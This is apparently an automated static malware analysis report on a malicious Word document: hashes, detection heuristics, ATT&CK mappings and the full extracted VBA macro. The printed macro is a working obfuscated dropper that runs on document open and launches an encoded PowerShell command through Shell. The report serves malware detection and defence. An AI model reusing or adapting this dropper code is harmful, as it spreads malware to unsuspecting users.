Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d0c7ab0737ac5d5d…

MALICIOUS

Office (OLE)

123.8 KB Created: 2018-06-13 06:44:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: 9e88441722cde0c95f613a96b8554705 SHA-1: ade52fc3e6a0362ea291ce8a5ccbdcfa5ff147f4 SHA-256: d0c7ab0737ac5d5ddc197b5e7346aaeb84d303ac2272c65c881b3fddf2d78b0f
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro and a 'Shell()' call are present, indicating an attempt to execute arbitrary code. The ClamAV detection 'Doc.Dropper.Agent-6589815-0' suggests this is a dropper for a secondary payload. The VBA code is heavily obfuscated, but the presence of the Shell() function and the auto-execution of the Document_open macro strongly suggest the intent to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6589815-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6589815-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    YmXaa = CDbl(kbvUJj * CDbl(VvTRa + Int(OobWm * Rnd(79427)) * zkIZv * Log(51666 * VltKtr - hYLjA + Fix(51))))
cURjRawQR = MlZWrI + VBA.Shell(AGAzqIEmzBI + Chr(SXhvZ + vbKeyP + FzJmOX) + "owers" + UKGjrNj + JNYlM + zRTMoIqFVj + IcHPnuVBzOb + iAJYcm + MEwKWjHwUD, 92063 - 92063)
sfnsf = usSbjM
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16951 bytes
SHA-256: eac41f4cc4d9e012605d34d4d4e08d94193f900ea8023e0281604eb09eb39154
Detection
ClamAV: No threats found
Obfuscation or payload: likely
298 of 469 identifiers look randomly generated (e.g. 'vlCjKcriwiiR') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "TfzZZrUQj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function cURjRawQR()
On Error Resume Next
TRPUz = PpfZU
Riuhw = CDbl(LTlAr)
iIzTV = Tan(19149)
SJGRX = mujpP
nddBb = Tan(5064)
cjuLuk = CDbl(SnZSbo * CDbl(zwQCoo + Int(DSMRNm * Rnd(56483)) * TnRjT * Log(37641 * jwCiYr - sridl + Fix(51))))
zwzuN = BWcaYG
wKrzYA = CDbl(RZmJV)
jBLTpK = Tan(32318)
QuQBC = kEfEG
wmafIE = Tan(7383)
nISAYJ = CDbl(uLNtsO * CDbl(zwIsd + Int(jjEYBN * Rnd(34728)) * VKKbSc * Log(97812 * jLujhW - DBYmtY + Fix(51))))
iXwtlt = cGuPnW
BOZUZ = CDbl(bBkrKf)
OXAmTu = Tan(45743)
Mjoizw = kwAkCZ
JTTMi = Tan(42250)
oclvRC = CDbl(VkTsq * CDbl(fQmSOz + Int(kOIMQ * Rnd(81250)) * mdZnE * Log(16251 * jXBYd - RqzVp + Fix(51))))
jjjBJY = RhQPpl
bMzQl = CDbl(RqATVY)
jhTRr = Tan(33706)
GAKDcu = Uhwop
ZYGAP = Tan(46947)
YmXaa = CDbl(kbvUJj * CDbl(VvTRa + Int(OobWm * Rnd(79427)) * zkIZv * Log(51666 * VltKtr - hYLjA + Fix(51))))
cURjRawQR = MlZWrI + VBA.Shell(AGAzqIEmzBI + Chr(SXhvZ + vbKeyP + FzJmOX) + "owers" + UKGjrNj + JNYlM + zRTMoIqFVj + IcHPnuVBzOb + iAJYcm + MEwKWjHwUD, 92063 - 92063)
sfnsf = usSbjM
HobUth = CDbl(afwtl)
jadHJ = Tan(45208)
WIodZ = ZKjFq
ZpquK = Tan(88223)
RntpF = CDbl(qpDtwh * CDbl(zSiQWL + Int(AdMYv * Rnd(45987)) * QJGAKZ * Log(64515 * iqkYQ - iBcLG + Fix(51))))
Cjcqn = CDihZ
rvRabF = CDbl(kZqrW)
UKaTMq = Tan(32844)
ZfDVrr = sCFja
iNrqUf = Tan(10348)
KuCzPM = CDbl(lpMrIE * CDbl(wALkD + Int(NSzkX * Rnd(76759)) * kAPWA * Log(73466 * JPYVwi - JkSLM + Fix(51))))
End Function
Private Sub Document_open()
On Error Resume Next
lImuz = BfcUGL
nwATr = CDbl(sFPFC)
AbXJY = Tan(3346)
jGRUG = VYDZKb
OjvuL = Tan(97828)
qZchO = CDbl(hGChJ * CDbl(rPadr + Int(AoVpGk * Rnd(23043)) * uRAzd * Log(45713 * FUbzp - YUPiZI + Fix(51))))
GcIJGO = JkMsr
zwIwK = CDbl(udoYC)
cFHOWG = Tan(76973)
NSGTHI = CSEJb
tEQbL = Tan(20755)
Wwclv = CDbl(KShSr * CDbl(mOPlrt + Int(OYXqfa * Rnd(84515)) * jdJQw * Log(68418 * FGicb - iLfzPi + Fix(51))))
cURjRawQR
jpBcU = UnXoo
Locjkl = CDbl(wmsvW)
wXbbN = Tan(66262)
mWMGw = SXuAXH
CErczv = Tan(34733)
UYslvJ = CDbl(tBclG * CDbl(fNjSB + Int(pwIjPB * Rnd(20535)) * vuOjp * Log(69754 * wYfqjD - LkubA + Fix(51))))
KqNziN = jknDV
dZmTKr = CDbl(FTikOO)
cVrDm = Tan(69904)
SwkjCH = SEMwCf
ZnCfQ = Tan(95675)
LTPpzi = CDbl(wLoAo * CDbl(HQZvAH + Int(EZzFw * Rnd(40551)) * FPaZm * Log(16617 * RCbNm - VUlwj + Fix(51))))
End Sub


Attribute VB_Name = "vlCjKcriwiiR"
Function UKGjrNj()
On Error Resume Next
VQrKU = CDbl(NJWDX * CDbl(PfbHt + Int(rUSlua * Rnd(86045)) * QJhlTQ * Log(11440 * aihbi - QjOKcK + Fix(51))))
EwZSO = EjWjw
kWQSiE = CDbl(bljGE)
GMXwoW = Tan(86315)
slOzUu = nipjON
wvYmw = Tan(3821)
XDNnlNOGs = "He" + "LL  -JOIn(( 42," + " 102," + " 103" + " ,120" + ",89,10"
YCPzi = CDbl(MoJNmS * CDbl(bvHRwE + Int(rrNoI * Rnd(16311)) * isbuI * Log(53339 * hGhMKE - YGdVwa + Fix(51))))
GuoaFl = iSkkT
hpboV = CDbl(dvhTi)
jEpjW = Tan(19439)
PqIQJ = cLHcbW
GJwJpf = Tan(88719)
FopSIGYKY = "6,46 , 5" + "1 ,46,96,1" + "07 ,121, 35 " + ", 97," + " 108, 10" + "0,107" + " , 1" + "09 , 122 " + ", 46,124, " + "111,96 , 1"
Tasdj = CDbl(WfuwEH * CDbl(nKcHvF + Int(ZrtWUi * Rnd(92833)) * ZqMac * Log(5079 * XJKCT - lUDNw + Fix(51))))
YnTztl = nXqJWp
cjVJBw = CDbl(GEkdi)
ClcVcE = Tan(97174)
RPARFX = wEcYJq
izBom = Tan(27350)
EvjiO = "06 ," + " 97, 99,53 " + ",42,6" + "9," + " 104 , 95,7" + "0, 89 , 72 , "
JXjTWv = CDbl(qLmLD * CDbl(IjAHA + Int(mwfws * Rnd(30176)) * HHXaDY * Log(32435 * ozACH - hAbOo + Fix(51))))
mniUmA = sjFvD
rCdaq = CDbl(rnzSl)
vWfSc = Tan(35411)
qnAAVz = PTjTQd
RzVjWi = Tan(38319)
FTbqOqVhG = "46, 51 ,46 , 9" + "6, 107,121 ,35" + " , 97 ,108,1" + "00 ,107," + "109," + " 12" + "2 ,46 , 93" + ", 119" + " , 125,122, "
iNCtS = CDbl(ZZlHa * CDbl(mFHCVO + Int(wWNSKP * Rnd(83044)) * bwVNM * Log(6860 * TViim - LqoJji + Fix(51))))
kmmTnc = mfZJa
fRvsia = CDbl(zbQtN)
tIiNT = Tan(5891)
QZQKWJ = Qljhqi
DwjlbE = Tan(96171)
YjBvBuX = "107,99 ,32,64" + " , 107 , 122," + "32, 89, 107 , 1" + "08 , 77" + " ,98 , 103" + ",107 " + ",96 ,12" + "2,53,42,99 ," + "71 "
plHWP = CDbl(qquzsm * CDbl(tGFiL + Int(zEROk * Rnd(22204)) * jREZQB * Log(87960 * viFwA - DTcXJo + Fix(51))))
NzXAhL = wkpraW
RXXWL = CDbl(rZlUjq)
KECjD = Tan(29837)
WCaqE = INPXP
UMTPHu = Tan(18768)
JBjHiqhfs = ",95 , 124, " + "10" + "1, 46 ," + "51, 46 ,41, 10" + "2,122 "
UKGjrNj = XDNnlNOGs + FopSIGYKY + EvjiO + FTbqOqVhG + YjBvBuX + JBjHiqhfs
End Function
Function JNYlM()
On Error Resume Next
MhCBs = CDbl(Thijwo * CDbl(SNjfWF + Int(aaMSw * Rnd(94655)) * SBhDHa * Log(86886 * fzoUz - Epilz + Fix(51))))
HhjqBH = Wkhhw
mUjFvC = CDbl(fBdpN)
WQwcRN = Tan(65290)
mXLilO = diHoTw
YMBpM = Tan(72577)
rDkpzhYuk = ",1" + "22 ,126," + " 52 , 3" + "3,33,"
PiPlPG = CDbl(OCmCGi * CDbl(wcwrwU + Int(iXTHcM * Rnd(86501)) * wjlOYw * Log(37881 * TVmOuW - NduHM + Fix(51))))
dWJGkL = FihEjA
intlQF = CDbl(RrGoi)
rJzPMh = Tan(22062)
IYKQjZ = KYoBvk
OCDEl = Tan(87050)
VlWKaHH = "121 ,121 ,121" + ",32," + " 125 ,122,9" + "7 , 124 , 103" + " , 1" + "07,125" + " ,97" + " ,"
OnqJc = CDbl(MqzFo * CDbl(PBifs + Int(XWwonQ * Rnd(56691)) * uhIst * Log(73958 * tpkvpj - vBodDX + Fix(51))))
GWLwj = Lbavz
KazZf = CDbl(afhHM)
PjQtt = Tan(90385)
oisciQ = wloSh
XlzLR = Tan(15826)
bvdMK = " 104, " + "125 , 10" + "3 ,96 ,32 ,10" + "9, 9" + "7 ,99 ,"
RBRrEl = CDbl(qiTlPa * CDbl(Nadwhp + Int(MLTov * Rnd(25305)) * twHJc * Log(34914 * KnAaML - RYBSp + Fix(51))))
wCmcV = izvmR
qwCJY = CDbl(zjLbn)
IjkYjd = Tan(48948)
zrniPk = JNUQT
MFsiz = Tan(84762)
BrFdFfZLl = " 3" + "3, 122 ," + "102 , 107" + ", 99 , 107" + " ,125 ,"
fjwGw = CDbl(CNzZI * CDbl(hjCGN + Int(WdBpPH * Rnd(64640)) * dEhmoO * Log(50828 * qZSwNG - MwSfQI + Fix(51))))
pdnPaP = oqwcQp
qRqZz = CDbl(zjNlud)
OhiXL = Tan(67193)
wsoUpw = osLhM
GRFJN = Tan(66529)
wwYlncBbmsv = "33 , " + "125," + " 9" + "7,125 ," + " 33 ,103 ,99" + ", 111 , 105 ,10" + "7,12"
cktPz = CDbl(lkzUOI * CDbl(RGjFU + Int(lXpVLp * Rnd(25370)) * PIEPqc * Log(43834 * GFsTHF - AnNRCK + Fix(51))))
aNBjf = oiwYKd
iZjHW = CDbl(vEYfni)
zfMuCv = Tan(75207)
AHbZN = ijlhln
qzHQD = Tan(83635)
coLlWPiCfc = "5, 33," + "87, 107 , 1" + "09 , 60" + " ," + " 61 ,33, 7"
YSLLWG = CDbl(jjBZii * CDbl(WBcEM + Int(IDvRjw * Rnd(66046)) * AKmwBM * Log(69470 * skEVw - oRKVA + Fix(51))))
jPJsz = nwOiHO
WtbaY = CDbl(jZOdd)
jhLhCq = Tan(36415)
XSjzjG = iolOc
IZDvab = Tan(93247)
rkOWjwkDd = "8, 102, 122" + " ," + " 122, 126 ,52" + ",33 , 33,121," + " 121 ,121,32 "
UXThL = CDbl(WGsmN * CDbl(cPNbJj + Int(cUiKj * Rnd(41076)) * EQzbaX * Log(32813 * fuiYiI - HrMvz + Fix(51))))
NkjSwk = KGNnz
ipNkL = CDbl(zGHRM)
TSntz = Tan(46757)
OkwIiw = fPChri
vzSwFt = Tan(20819)
iGowJvuY = ", " + "98," + " 9" + "7,105 ,97 ," + "126 ,107, 1" + "06 ," + "111 , 35 ,"
mjkAq = CDbl(wNvVC * CDbl(wqqMI + Int(jjrzbt * Rnd(71039)) * YizpM * Log(24168 * ijqAwV - flUnn + Fix(51))))
OHzLL = JEGdoF
QOoHrP = CDbl(kOOFIp)
zVbwI = Tan(9136)
PIqhtM = KQAaA
ValzLi = Tan(54614)
zADuRuSwZ = "125 ,98 , 97, " + "96,107 , 109 ," + " 116 , 96, 103 " + ", 101 ,32 ,126," + " 98,33"
wiOcnw = CDbl(hMIKSl * CDbl(hhHNYA + Int(luMPB * Rnd(58395)) * UnjPKH * Log(41579 * oiNkd - UMkQYl + Fix(51))))
sdzoW = Ricwdt
BMmSlN = CDbl(YvIia)
IJJpdd = Tan(23649)
jUujJ = hpQWOi
FCGAh = Tan(15767)
qXWPNU = ",126 , 120 , 56" + ",100 , 60 , 58" + ",33 ,78" + " ,102 ,122, " + "122,126 ,5" + "2 , 3" + "3,33" + ",121," + " 121, 12" + "1, 32 ,"
JNYlM = rDkpzhYuk + VlWKaHH + bvdMK + BrFdFfZLl + wwYlncBbmsv + coLlWPiCfc + rkOWjwkDd + iGowJvuY + zADuRuSwZ + qXWPNU
End Function
Function zRTMoIqFVj()
On Error Resume Next
jJAHv = CDbl(GZNIZr * CDbl(uzVcB + Int(cGLYW * Rnd(58294)) * Vuoqj * Log(65477 * zwPZZ - ObNESs + Fix(51))))
DwjwDT = AtHFi
LJUldc = CDbl(aLlXZr)
YBoSj = Tan(84828)
mRbRsZ = noItLo
MiZZjd = Tan(17936)
AOVdCSJKaT = "120, 111,96" + ", 109,102 ," + "123 ,119 ,107" + ", 96 ,109," + " 97 ,96,122, " + "111,103, 96 ,10"
FFVdY = CDbl(KQNfzz * CDbl(GFPNh + Int(sPTEB * Rnd(13456)) * OkRaMd * Log(29254 * NBAjT - jXPzvw + Fix(51))))
sDPjOG = rEFGK
mATWz = CDbl(ZwnSWk)
hKMTLz = Tan(41769)
ndivwt = QbjtBO
iTGVKr = Tan(76845)
zYnjjDbDSjn = "7 , 124 , 98" + " , 111, 96 , " + "102 ,32, 109" + " , 97 " + ",99 ,33,5" + "7,54," + " 90 , 73"
voHwm = CDbl(rMNiuN * CDbl(Lvztj + Int(rqjRC * Rnd(68299)) * smASc * Log(48343 * zrsSIU - nhutG + Fix(51))))
VfOUC = kLODJp
hWLXE = CDbl(REELu)
wKYJf = Tan(91050)
bBjKV = JZbjY
haFHAf = Tan(87485)
ozPHciUp = " , 88,3" + "3 ,78,102 " + ",122 , 122 ," + "126, 52, " + "33, 33 , 121 ,1" + "21, 121"
nkmkp = CDbl(cujAd * CDbl(WzIwu + Int(pVHYL * Rnd(61125)) * ojSoIP * Log(38667 * pkLdms - NszKWN + Fix(51))))
ZhPwS = cwHPb
sOZGw = CDbl(oKGak)
WGAIc = Tan(88637)
jKAafV = wDwjV
wQWiO = Tan(81965)
LCiprAjBMs = " ,32,121" + ", 102 ,111 ,12" + "2 " + ", 12" + "2,"
ZNobH = CDbl(iAzzs * CDbl(nYzWVi + Int(Sazjlk * Rnd(88630)) * vSlrE * Log(56123 * bwkED - Gzncv + Fix(51))))
AizBlQ = wLaKHq
TwcdD = CDbl(NznhOG)
hNZTW = Tan(50633)
manwV = XprEDl
JZjKM = Tan(77652)
kPqli = " 124 ,103, " + "109, 101" + " ,32, 109 ," + "97, 99, 33, 6" + "7 " + ", 104, 104, 1" + "23,104,86," + " 125 , 33 "
zQXhG = CDbl(IHVRWN * CDbl(ACRhA + Int(prawjE * Rnd(6833)) * tsImlj * Log(98578 * hwSHR - BmhwTn + Fix(51))))
nVSPsW = pnRmkP
RocCO = CDbl(PNfli)
ACkXhR = Tan(52682)
JIwShN = DTSYWG
MzVzO = Tan(33422)
QrUNLL = ", 78, " + "102 , 122," + " 122 , " + "126 , " + "52 ,33 , 33 ,1" + "21," + "121, 12" + "1 , 32 , 9"
zRTMoIqFVj = AOVdCSJKaT + zYnjjDbDSjn + ozPHciUp + LCiprAjBMs + kPqli + QrUNLL
End Function
Function IcHPnuVBzOb()
On Error Resume Next
jViKTl = CDbl(ABsmTX * CDbl(pQhMC + Int(FJZnTX * Rnd(6437)) * PbvCt * Log(23845 * Cktwl - PIzSj + Fix(51))))
LRnjnO = vqAcV
aZvqr = CDbl(iXkZzk)
Njldc = Tan(21552)
PJpFDa = ZBLpNB
sqXODR = Tan(45903)
jHPPXNoj = "9, " + "123" + " ,10" + "9 ,109, 10"
rvwFp = CDbl(uHjZS * CDbl(HassG + Int(itjYkj * Rnd(74150)) * LNPLSc * Log(75247 * cuiZHE - iCIoXu + Fix(51))))
zKhUZz = WbrOr
LPSEC = CDbl(sXGqih)
LnYGVo = Tan(49325)
mhHtCD = jiiAh
UqiizS = Tan(82889)
YvKJbfo = "3 ,99,97 ,10" + "8 ,103, 98 ," + "119, 111" + " , 32,109 ,97,9" + "9 , "
iNdrm = CDbl(rYwjYD * CDbl(TfQku + Int(kjnNsa * Rnd(31268)) * iKrat * Log(49739 * EowwZK - bMAuC + Fix(51))))
OrRoVZ = FbMzXZ
rzkQWZ = CDbl(OFIid)
jiauHO = Tan(9346)
jSGDC = qiBwp
BbnLGw = Tan(841)
kSuFPOsXG = "33 , 126 ,121," + "116 ,62, 33," + "41, 3" + "2,93,126, 98," + "10" + "3, 122,38" + ", 41 , 78 ," + " 41 ,39 "
rIGlo = CDbl(bPnnsw * CDbl(IdJpzI + Int(BCEISp * Rnd(59308)) * UUiwQS * Log(16700 * qhqtWw - amGzp + Fix(51))))
SIJPN = BdWMr
zTzwj = CDbl(SEtjUA)
zCPPXS = Tan(77593)
oNfDk = NGrPYI
zkwTiV = Tan(96046)
qINzwnmTsAp = ",53 ,42 ,99 ," + " 108, 79 ,122, " + "64 ,65" + ", 46,5"
ifuGAJ = CDbl(mZaHH * CDbl(cZzmK + Int(VfcYtS * Rnd(37281)) * DSIdlO * Log(537 * qYMij - hwSGjo + Fix(51))))
Dibac = jwdFn
GGAnj = CDbl(JTRwVs)
bijhn = Tan(15299)
YtOrw = BiVsad
HWSSit = Tan(98845)
qnmvrUUq = "1 ,46 , 42 ,102" + ", 103 ,120,8" + "9, 106 , 32, 96" + ", 107,118,12" + "2 , 38,63, 34, " + "46, 60, 58, 60"
qhGtGJ = CDbl(kYLcA * CDbl(ECThj + Int(AXlQlw * Rnd(8524)) * aCHkv * Log(68825 * swIjc - qNifp + Fix(51))))
QLMFKw = bJJDk
OERVv = CDbl(HiiQa)
KUzhtd = Tan(79737)
qSkXY = AbNhW
iPcjZw = Tan(96819)
JIwvLAX = " , 55 , 60 , " + "54" + " , 39" + ",53 , 42 ,86 " + ", 74, 1" + "01, 73,12" + "4 , 99 ,46 , " + "51 ,46" + " , 42, 107,9" + "6, 120, 52, 12"
TwHuW = CDbl(WNLEBj * CDbl(jIaDM + Int(UaCYZ * Rnd(49527)) * KjTwd * Log(72508 * ovvZhz - jsCil + Fix(51))))
lMAWNj = hzpnaI
hQahUz = CDbl(quNaPB)
PHShIS = Tan(30095)
Onnfn = aILfRF
OuhbVO = Tan(12747)
CvijA = "2 ,107 ,99" + ",126 ," + " 46, 37, 46,41" + " , 82 , 41, 46 " + ", 37 , 46,4" + "2 , 99 ,108" + " , " + "79" + ", 122,"
VGhlEj = CDbl(ARktt * CDbl(jbIXPt + Int(dHqIJ * Rnd(26695)) * qiKhRd * Log(55402 * IEEGpt - NlwTI + Fix(51))))
zTETJ = NXtFK
OPYcq = CDbl(KRGDcP)
SqRsc = Tan(81525)
iVsMz = twpHWz
OlpLW = Tan(89419)
jcYkpXElLL = "64 ,65, 46, " + "37 , 4" + "6, " + "41 , 32 ,107" + " , 118 , 107 ," + "41 " + ", 53" + ", 1" + "04 ,97" + ",124"
IcHPnuVBzOb = jHPPXNoj + YvKJbfo + kSuFPOsXG + qINzwnmTsAp + qnmvrUUq + JIwvLAX + CvijA + jcYkpXElLL
End Function
Function iAJYcm()
On Error Resume Next
uFwmw = CDbl(YdiUKO * CDbl(ljmZON + Int(cndaYr * Rnd(87164)) * djnXol * Log(19896 * ZFtGQK - AiQpdY + Fix(51))))
UUHWS = csIBPW
NHpdz = CDbl(hmaAbs)
OsTibH = Tan(53907)
bUsfcP = joGhV
EwYssp = Tan(78768)
zRivTnrHL = ",107 ,1" + "11 ," + " 109 ,102 , 3" + "8,42 , 93,65 " + ", 96, 67 , 97 " + ",102 ,46, 1" + "03, 96 ,46 ,42," + "99, 71, 95,124" + ",10"
ktXMLJ = CDbl(zfFFa * CDbl(TamjV + Int(YcLchr * Rnd(68385)) * oJwTL * Log(25432 * vaXrtA - QVmhpj + Fix(51))))
zOsbp = LqqABC
RpUcB = CDbl(pjmtNQ)
bjMTzd = Tan(8062)
rmQnK = TvppC
UvDFKC = Tan(30134)
wOLzYSaqapL = "1, 39 " + ",117,122,124" + ", " + "119,117, 42" + ",69 ,104, 95," + " 70,89,72 ,3" + "2,74 , 97, 12" + "1 , 96 ," + "98"
UcSUr = CDbl(qsibp * CDbl(ZlOLw + Int(hdizpj * Rnd(41659)) * qdkEq * Log(24658 * mvlKQ - Bstpi + Fix(51))))
unpdBh = fklKHn
zlUml = CDbl(hUNIdk)
DsNuPn = Tan(24593)
XJhWRz = bmznc
NdkzM = Tan(68465)
tXBwV = ",97 , " + "111 , 106," + " 72 , " + "103 ,98,10" + "7, 38,42 ,93 ," + "65, 96, " + "67, "
QIEYQO = CDbl(jaOAJ * CDbl(zfPrin + Int(HVUnN * Rnd(58439)) * PGzFzz * Log(19138 * JNESG - wjLzR + Fix(51))))
aWCnM = CKpJnw
quoRKm = CDbl(qacJAK)
bmJpA = Tan(95938)
ZAbzZ = ZhflL
SciUQ = Tan(56777)
kLpoWj = "97 , 102 " + ", 32, 90, 97" + " ,93," + " 122 , " + "124, 103, 96"
AAPHC = CDbl(QvfFfd * CDbl(clNiU + Int(wJAzB * Rnd(11873)) * jNiolG * Log(78556 * JANoFP - FoXpSf + Fix(51))))
TlApO = NEMaLo
zCOBIH = CDbl(NrUYo)
hGrjz = Tan(99886)
TcUvt = TTWDCw
AdwHE = Tan(3780)
VnjBu = " , 10" + "5 ,38 ,3" + "9 , 34, 4" + "6, 4" + "2,86 ,7"
FjwGCU = CDbl(mumcC * CDbl(tdWku + Int(PAjIn * Rnd(2038)) * RjiLP * Log(45436 * KJujWu - ACwYVw + Fix(51))))
CkinO = lOzmj
dWbIE = CDbl(DcIiWE)
DfMHC = Tan(70401)
qKzznz = iszDQ
ifcwB = Tan(17806)
NNhGKG = "4,101 , 73 " + ", 124 , 99, " + "39 , 53,9" + "3," + " 122, "
QpWTw = CDbl(tCzmf * CDbl(rqAWpb + Int(dIRNUz * Rnd(30554)) * wFHqD * Log(46624 * BOGuEu - KnGCD + Fix(51))))
mQvXvT = dHSuod
zbBWjK = CDbl(wrvbLK)
jQXnwE = Tan(70388)
nthmS = RudXuO
EdNAS = Tan(8291)
uUGOUN = "111 , 124,12" + "2 , 35 ,94,1" + "24" + " ,97 ,109, 1"
sZJRv = CDbl(Ujcrh * CDbl(NWBdX + Int(mzLYz * Rnd(23343)) * jjwrC * Log(46169 * BbcVpW - jSVvjB + Fix(51))))
ufnBiG = qcTKIi
vUZzMM = CDbl(YrZTwP)
AZJzTu = Tan(15341)
EXXjNO = KarQui
iUuwnn = Tan(3973)
AHkwqizpq = "07,125,12" + "5 , 46 , 42," + " 86, 74,101" + ", 73 " + ", 124, 99, 53,1" + "08" + " , 124 ,10" + "7 ," + "111 , 101, 5" + "3, 115, 109"
iAJYcm = zRivTnrHL + wOLzYSaqapL + tXBwV + kLpoWj + VnjBu + NNhGKG + uUGOUN + AHkwqizpq
End Function
Function MEwKWjHwUD()
On Error Resume Next
dJSPBz = CDbl(rGmDd * CDbl(lzrpYs + Int(mkvsw * Rnd(30196)) * NGHHbU * Log(53199 * kQOZZ - QoFGDI + Fix(51))))
NbbwTd = wqlvG
sNaRlK = CDbl(kzfcIG)
fiWio = Tan(15508)
IvrJjr = dVMChO
nuida = Tan(43625)
HpsXlAZpMP = ",111 ,122,109," + " 102 ,117 ,1" + "21 , " + "124,103"
SDufUi = CDbl(wWoWi * CDbl(IHOCov + Int(LqkfK * Rnd(8718)) * pHRIAE * Log(93400 * ZqwSi - TzCaJ + Fix(51))))
shYFVM = rriFB
bSPVP = CDbl(hpFfWZ)
dYZXoz = Tan(58589)
WqwnP = joZduC
ickcnM = Tan(67381)
RWDJVPPn = ",122 , 107" + " , 35," + "102,97,125 ,12" + "2 ,46, 42,8" + "1, 32 ,75"
lqBRTm = CDbl(fjjKT * CDbl(XQILMV + Int(JDazdS * Rnd(32469)) * NzMBRV * Log(55984 * fcAOHu - YQIIY + Fix(51))))
qcjMHr = wBjVK
QDnAVm = CDbl(mWIBY)
ViJhk = Tan(81190)
aoHabD = idtWDj
OQhuT = Tan(1323)
jfMRZl = " , 118" + " ," + "109 ,1" + "07 , 126" + ", 122,103"
swzas = CDbl(jOWRpc * CDbl(ZXTpU + Int(zjAuMP * Rnd(44644)) * jAZPaP * Log(87002 * QFtoDL - EXKPzD + Fix(51))))
HNwfpo = wWBzXi
kLVqD = CDbl(zCPNb)
iSmqdr = Tan(84175)
JbpAsU = SBHGjd
RrPDTh = Tan(60690)
woBlZDp = ", 97,96" + ", 3" + "2 ," + " 67 ,107 ,125,1"
UVGBoG = CDbl(hjLzHS * CDbl(qZfaaT + Int(sOLbjF * Rnd(78689)) * GwzFz * Log(94059 * WizvLd - VVFpjQ + Fix(51))))
wdfHR = tpVrW
ZIAGjc = CDbl(wCUzE)
PbzJsc = Tan(12725)
UhTNH = HVvCXc
RHdjmB = Tan(14366)
jwwFqZQtEo = "25" + " ,111,105, 107 " + ",53, 115,115)|" + "% {[ChAR]" + " ($_ -bXoR" + "'0x0"
jMtTw = CDbl(CaVNF * CDbl(Riial + Int(wGPfZc * Rnd(77014)) * kCUzmS * Log(34498 * mMMXW - tfwRVE + Fix(51))))
rWOOWM = jjHGj
FDmRfK = CDbl(zFYbmm)
QWWXN = Tan(52623)
faIpu = zJGXD
FqVCw = Tan(10695)
thnGnHQaLQC = "E') } ) | . ( " + "$PShomE" + "[21]+$PshomE[3" + "0]+'X')"
MEwKWjHwUD = HpsXlAZpMP + RWDJVPPn + jfMRZl + woBlZDp + jwwFqZQtEo + thnGnHQaLQC
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.